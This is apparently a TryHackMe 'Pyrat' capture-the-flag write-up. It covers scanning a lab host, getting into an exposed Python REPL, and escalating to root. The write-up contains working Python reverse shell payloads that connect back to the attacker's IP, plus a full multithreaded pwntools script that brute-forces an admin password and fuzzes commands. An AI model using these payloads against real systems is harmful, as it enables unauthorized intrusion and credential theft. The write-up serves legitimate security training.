TryHackMe Pyrat Writeup
https://tryhackme.com/r/room/pyrat
Explore the fundamentals of cybersecurity in the Pyrat Capture The Flag (CTF) challenge, a easy-level experience! This straightforward CTF writeup provides insights into key concepts with clarity and simplicity, making it accessible for players at this level.
Add Hosts
1
10.10.227.210 pyrat.thm
Script to add hosts automatically
1
2
3
ip="10.10.227.210"
domain="pyrat.thm"
grep -qF "$ip $domain" /etc/hosts || echo -e "$ip $domain" | sudo tee -a /etc/hosts
Mapping
1
nmap -sCV pyrat.thm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
Nmap scan report for pyrat.thm (10.10.227.210)
Host is up (0.064s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 44:5f:26:67:4b:4a:91:9b:59:7a:95:59:c8:4c:2e:04 (RSA)
| 256 0a:4b:b9:b1:77:d2:48:79:fc:2f:8a:3d:64:3a:ad:94 (ECDSA)
|_ 256 d3:3b:97:ea:54:bc:41:4d:03:39:f6:8f:ad:b6:a0:fb (ED25519)
8000/tcp open http-alt SimpleHTTP/0.6 Python/3.11.2
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
|_http-server-header: SimpleHTTP/0.6 Python/3.11.2
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, JavaRMI, LANDesk-RC, NotesRPC, Socks4, X11Probe, afp, giop:
| source code string cannot contain null bytes
| FourOhFourRequest, LPDString, SIPOptions:
| invalid syntax (<string>, line 1)
| GetRequest:
| name 'GET' is not defined
| HTTPOptions, RTSPRequest:
| name 'OPTIONS' is not defined
| Help:
|_ name 'HELP' is not defined
|_http-open-proxy: Proxy might be redirecting requests
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port8000-TCP:V=7.95%I=7%D=10/3%Time=66FE26AB%P=x86_64-pc-linux-gnu%r(Ge
SF:nericLines,1,"\n")%r(GetRequest,1A,"name\x20'GET'\x20is\x20not\x20defin
SF:ed\n")%r(X11Probe,2D,"source\x20code\x20string\x20cannot\x20contain\x20
SF:null\x20bytes\n")%r(FourOhFourRequest,22,"invalid\x20syntax\x20\(<strin
SF:g>,\x20line\x201\)\n")%r(Socks4,2D,"source\x20code\x20string\x20cannot\
SF:x20contain\x20null\x20bytes\n")%r(HTTPOptions,1E,"name\x20'OPTIONS'\x20
SF:is\x20not\x20defined\n")%r(RTSPRequest,1E,"name\x20'OPTIONS'\x20is\x20n
SF:ot\x20defined\n")%r(DNSVersionBindReqTCP,2D,"source\x20code\x20string\x
SF:20cannot\x20contain\x20null\x20bytes\n")%r(DNSStatusRequestTCP,2D,"sour
SF:ce\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Help,1
SF:B,"name\x20'HELP'\x20is\x20not\x20defined\n")%r(LPDString,22,"invalid\x
SF:20syntax\x20\(<string>,\x20line\x201\)\n")%r(SIPOptions,22,"invalid\x20
SF:syntax\x20\(<string>,\x20line\x201\)\n")%r(LANDesk-RC,2D,"source\x20cod
SF:e\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(NotesRPC,2D,"so
SF:urce\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\n")%r(Java
SF:RMI,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20bytes\
SF:n")%r(afp,2D,"source\x20code\x20string\x20cannot\x20contain\x20null\x20
SF:bytes\n")%r(giop,2D,"source\x20code\x20string\x20cannot\x20contain\x20n
SF:ull\x20bytes\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Initial Connection
Run a basic connection attempt:
1
curl http://pyrat.thm:8000
The output suggests trying a more basic connection:
1
nc pyrat.thm 8000
After connecting, you discover you’re in a Python REPL interpreter.
Reverse Shell Setup
On your local machine, start a listener:
1
nc -lvnp 9001
In the Python REPL on the target, execute the following reverse shell command:
Replace
<vpn-ip>
with your actual VPN IP to receive the connection.
1
2
3
4
5
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<vpn-ip>",9001))
os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2)
import pty; pty.spawn("sh")
Post Exploitation
Once the shell is established, you can explore the system. Start by viewing Git configuration files:
1
cat /opt/dev/.git/config
Switch to the user think
:
1
su - think
Extract the flags:
1
2
cat user.txt
cat /var/mail/think
You find a mention of a “rat virus” in the mail.
Process Discovery
Running ps
reveals an interesting process:
1
ps x
1
13875 ? S 0:00 python3 /root/pyrat.py
Analyzing the Code
Navigate to the development directory and check the commit history:
1
2
cd /opt/dev
git log
You find a commit titled Added shell endpoint:
1
git show 0a3c36d66369fd4b07ddca72e5379461a63470bf
The commit details reveal that a shell endpoint was added to the pyrat.py
script:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
commit 0a3c36d66369fd4b07ddca72e5379461a63470bf
Author: Jose Mario <josemlwdf@github.com>
Date: Wed Jun 21 09:32:14 2023 +0000
Added shell endpoint
diff --git a/pyrat.py.old b/pyrat.py.old
--- /dev/null
+++ b/pyrat.py.old
@@ -0,0 +1,27 @@
def switch_case(client_socket, data):
if data == 'some_endpoint':
get_this_enpoint(client_socket)
else:
# Check if socket is admin and downgrade if not approved
uid = os.getuid()
if uid == 0:
change_uid()
if data == 'shell':
shell(client_socket)
else:
exec_python(client_socket, data)
def shell(client_socket):
try:
import pty
os.dup2(client_socket.fileno(), 0)
os.dup2(client_socket.fileno(), 1)
os.dup2(client_socket.fileno(), 2)
pty.spawn("/bin/sh")
except Exception as e:
send_data(client_socket, e)
This shows that there’s a shell endpoint available in the code.
Root Password
save this as brute:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
#!/usr/bin/env python3
import subprocess
import threading
import argparse
from pwn import remote, context, listen
def get_tun0_ip():
return subprocess.run(
"ip a | grep -A 2 'tun0:' | grep -oP '(?<=inet\\s)\\d+(\\.\\d+){3}'",
shell=True, check=True, stdout=subprocess.PIPE, universal_newlines=True
).stdout.strip()
def start_listener(ip, port):
listener = listen(port)
listener.wait_for_connection()
print(f"[INFO] Reverse shell connected from {ip}:{port}!")
listener.interactive()
target_ip, target_port = "pyrat.thm", 8000
password_wordlist = "/usr/share/dict/SecLists/Passwords/500-worst-passwords.txt"
command_wordlist = "/usr/share/dict/SecLists/Discovery/Web-Content/burp-parameter-names.txt"
stop_flag, num_threads = threading.Event(), 100
nc_listener_ip, nc_listener_port = get_tun0_ip(), 9001
reverse_shell_payload = f"import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);" \
f"s.connect((\"{nc_listener_ip}\",{nc_listener_port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);pty.spawn(\"/bin/bash\")"
def brute_force_pass(passwords):
context.log_level = "error"
r = remote(target_ip, target_port)
for i, password in enumerate(passwords):
if stop_flag.is_set():
return
if i % 3 == 0:
r.sendline(b"admin")
r.recvuntil(b"Password:\n")
r.sendline(password.encode())
try:
if b"shell" in r.recvline(timeout=0.5):
stop_flag.set()
print(f"[+] Password found: {password}")
r.sendline(reverse_shell_payload.encode())
print("[+] Reverse shell payload sent!")
return
except:
pass
r.close()
def find_commands(words):
context.log_level = "error"
for word in words:
if stop_flag.is_set():
return
if word.strip() == "" or word == "shell":
continue
r = remote(target_ip, target_port)
try:
r.sendline(word.encode())
output = r.recvline(timeout=0.15)
if b'not defined' not in output and b'<string>' not in output and output.strip() != b"":
print(f"[+] Potential command: {word}")
print(f"[+] Output: {output.decode().strip()}")
except Exception as e:
print(f"[ERROR] An error occurred while processing {word}: {e}")
finally:
r.close()
def main(mode):
wordlist = password_wordlist if mode == "password" else command_wordlist
target_function = brute_force_pass if mode == "password" else find_commands
words = [line.strip() for line in open(wordlist, "r").readlines()]
step = (len(words) + num_threads - 1) // num_threads
threads = []
if mode == "password":
listener_thread = threading.Thread(target=start_listener, args=(nc_listener_ip, nc_listener_port))
listener_thread.start()
for i in range(num_threads):
start, end = i * step, min((i + 1) * step, len(words))
if start < len(words):
thread = threading.Thread(target=target_function, args=(words[start:end],))
threads.append(thread)
thread.start()
for thread in threads:
thread.join()
if mode == "password":
listener_thread.join()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description="Brute Force and Command Discovery Script")
parser.add_argument("-f", "--find", action="store_true", help="Run in command discovery mode")
args = parser.parse_args()
try:
main("find" if args.find else "password")
except KeyboardInterrupt:
print("\n[INFO] Exiting...")
stop_flag.set()
1
2
chmod +x brute
./brute
1
cat /root/root.txt